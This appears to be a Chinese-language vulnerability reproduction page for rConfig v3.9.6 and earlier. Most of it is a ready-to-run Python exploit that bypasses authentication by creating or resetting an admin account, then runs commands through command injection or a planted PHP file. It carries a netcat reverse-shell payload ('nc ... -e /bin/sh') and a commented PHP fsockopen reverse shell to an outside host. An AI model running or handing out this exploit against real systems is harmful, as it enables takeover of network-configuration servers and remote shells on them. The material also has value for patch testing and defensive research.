rConfig v3.9.6 远程命令执行

一、漏洞简介

rConfig是"开源网络设备配置管理实用程序,可对设备进行频繁的配置快照。开源,由Network Architects构建-我们知道您的需求!"

rConfig远程未经身份验证的RCE中的两个漏洞。一个漏洞允许未经身份验证的用户进行身份验证,另一个漏洞(身份验证后)允许攻击者执行任意代码。

厂商最初的反应非常迅速,并且立刻发布了一个更新版本(v3.9.6),我们最初是在v3.9.5上验证了该漏洞。但是我们发现,v3.9.6版本中同样存在安全漏洞,并将此情况反应给了厂商。目前为止,我们还不知道有没有安全补丁能够解决或缓解这两个漏洞所带来的影响。

二、漏洞影响

rConfig v3.9.6 及其之前版本

三、复现过程

poc

rConfig.py 需要修改代码里面的部分内容

1.png

  1. import requests
  2. from requests_toolbelt.multipart.encoder import MultipartEncoder
  3. import urllib3
  4. import re
  5. #from bs4 import BeautifulSoup
  6. urllib3.disable_warnings()
  7. url="https://x.x.x.x/" #change this to fit your URL (adding the last slash)
  8. payload="nc y.y.y.y 9001 -e /bin/sh" #change this to whatever payload you want
  9. payload_rce= "fileName=../www/test.php&code=<%3fphp+echo+system('ls')%3b%3f>&id=3" #if you want to use Method 2 for RCE, use a PHP, urlencoded payload as the value of the code parameter
  10. print("Connecting to: {}".format(url))
  11. print("Connect back is set to: {}, please launch 'nc -lv 9001'".format(payload))
  12. x = requests.get(url+"login.php", verify=False)
  13. version = re.search("<p>(.*)<span>", x.text)
  14. version = version.group(1)
  15. if version == "rConfig Version 3.9.5":
  16. print("Version 3.9.5 confirmed")
  17. else:
  18. print("Version is "+version+ " it may not be vulnerable")
  19. payload_final=";"+payload
  20. referer=url+"useradmin.php"
  21. origin=url
  22. proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"} #in case you need to debug the exploit with Burp, add ', proxies=proxies' to any request
  23. def createuser():
  24. multipart_data = MultipartEncoder(
  25. fields={
  26. 'username': 'test',
  27. 'password': 'Testing1@', #password should have a capital letter, lowercase, number and a symbol
  28. 'passconf': 'Testing1@',
  29. 'email': 'test@test.com',
  30. 'ulevelid': '9',
  31. 'add': 'add',
  32. 'editid': ''
  33. }
  34. )
  35. headers = {'Content-Type': multipart_data.content_type, "Upgrade-Insecure-Requests": "1", "Referer": referer, "Origin":origin}
  36. cookies = {'PHPSESSID': 'test'}
  37. response = requests.post(url+'lib/crud/userprocess.php', data=multipart_data, verify=False, cookies=cookies, headers=headers, allow_redirects=False)
  38. if "error" not in response.text:
  39. print("(+) User test created")
  40. else:
  41. print("(-) User couldn't be created, please debug the exploit")
  42. def exploit():
  43. payload = {
  44. 'user': 'test',
  45. 'pass': 'Testing1@',
  46. 'sublogin': '1'
  47. }
  48. with requests.Session() as s:
  49. p = s.post(url+'lib/crud/userprocess.php', data=payload, verify=False)
  50. if "Stephen Stack" in p.text:
  51. print("(-) Exploit failed, could not login as user test")
  52. else:
  53. print("(+) Log in as test completed")
  54. params = {'path':'test',
  55. 'ext': payload_final
  56. }
  57. rce=s.get(url+'lib/ajaxHandlers/ajaxArchiveFiles.php', verify=False, params=params)
  58. if "success" in rce.text:
  59. print("(+) Payload executed successfully")
  60. else:
  61. print("(-) Error when executing payload, please debug the exploit") #if you used method 2 to auth bypass and 1 for RCE, ignore this message
  62. payload = {
  63. 'user': 'admin',
  64. 'pass': 'Testing1@',
  65. 'sublogin': '1'
  66. }
  67. with requests.Session() as s:
  68. p = s.post(url+'lib/crud/userprocess.php', data=payload, verify=False)
  69. if "Stephen Stack" in p.text:
  70. print("(-) Exploit failed, could not login as user test")
  71. else:
  72. print("(+) Log in as test completed")
  73. params = {'path':'test',
  74. 'ext': payload_final
  75. }
  76. rce=s.get(url+'lib/ajaxHandlers/ajaxArchiveFiles.php', verify=False, params=params)
  77. if "success" in rce.text:
  78. print("(+) Payload executed successfully")
  79. else:
  80. print("(-) Error when executing payload, please debug the exploit")
  81. def user_enum_update():
  82. users=requests.get(url+'useradmin.inc.php', verify=False)
  83. #matchObj = re.findall(r'<td align="center">(.*?)</td>', users.text, re.M|re.I|re.S)
  84. if "admin" in users.text:
  85. print("(+) The admin user is present in this rConfig instance")
  86. multipart_data = MultipartEncoder(
  87. fields={
  88. 'username': 'admin',
  89. 'password': 'Testing1@', #password should have a capital letter, lowercase, number and a symbol
  90. 'passconf': 'Testing1@',
  91. 'email': 'admin@admin.com',
  92. 'ulevelid': '9',
  93. 'add': 'add',
  94. 'editid': '1' #you may need to increment this if you want to reset the password of a different user
  95. }
  96. )
  97. headers = {'Content-Type': multipart_data.content_type, "Upgrade-Insecure-Requests": "1", "Referer": referer, "Origin":origin}
  98. cookies = {'PHPSESSID': 'test'}
  99. response = requests.post(url+'lib/crud/userprocess.php', data=multipart_data, verify=False, cookies=cookies, headers=headers, allow_redirects=False)
  100. if "error" not in response.text:
  101. print("(+) The new password for the admin user is Testing1@")
  102. else:
  103. print("(-) Admin user couldn't be edited, please debug the exploit")
  104. elif "Admin" in users.text:
  105. print("(+) There is at least one Admin user, check "+ str(url)+"useradmin.inc.php manually and modify the exploit accordingly (erase the if-elif statements of this function and modify the user payload)")
  106. def template():
  107. payload = {
  108. 'user': 'admin',
  109. 'pass': 'Testing1@',
  110. 'sublogin': '1'
  111. }
  112. #<%3fphp+%24sock%3Dfsockopen%28%22192.168.1.13%22%2C1234%29%3Bexec%28%22%2Fbin%2Fsh%20-i%20%3C%263%20%3E%263%202%3E%263%22%29%3B%3f>
  113. headers_rce = {'Content-Type': "application/x-www-form-urlencoded; charset=UTF-8", "Referer": url+"deviceConnTemplates.php", "Origin":origin, "X-Requested-With": "XMLHttpRequest", "Accept-Language": "en-US,en;q=0.5"}
  114. with requests.Session() as s:
  115. p = s.post(url+'lib/crud/userprocess.php', data=payload, verify=False)
  116. if "Stephen Stack" in p.text:
  117. print("(-) Exploit failed, could not login as user test")
  118. else:
  119. print("(+) Log in as admin completed")
  120. rce=s.post(url+'lib/ajaxHandlers/ajaxEditTemplate.php', verify=False, data=payload_rce, headers=headers_rce)
  121. if "success" in rce.text:
  122. print("(+) File created")
  123. rce_req = s.get(url+'test.php.yml', verify=False)
  124. print("(+) Command results: ")
  125. print(rce_req.text)
  126. else:
  127. print("(-) Error when executing payload, please debug the exploit")
  128. def main():
  129. print("Remote Code Execution + Auth bypass rConfig 3.9.5 by Daniel Monzón")
  130. print("In the last stage if your payload is a reverse shell, the exploit may not launch the success message, but check your netcat ;)")
  131. print("Note: preferred method for auth bypass is 1, because it is less 'invasive'")
  132. print("Note2: preferred method for RCE is 2, as it does not need you to know if, for example, netcat has been installed in the target machine")
  133. print('''Choose method for authentication bypass:
  134. 1) User creation
  135. 2) User enumeration + User edit ''')
  136. auth_bypass=str(input("Method>"))
  137. if auth_bypass == "1":
  138. createuser()
  139. elif auth_bypass == "2":
  140. user_enum_update()
  141. print('''Choose method for RCE:
  142. 1) Unsafe call to exec()
  143. 2) Template edit ''')
  144. rce_method=str(input("Method>"))
  145. if rce_method == "1":
  146. exploit()
  147. elif rce_method == "2":
  148. template()
  149. main()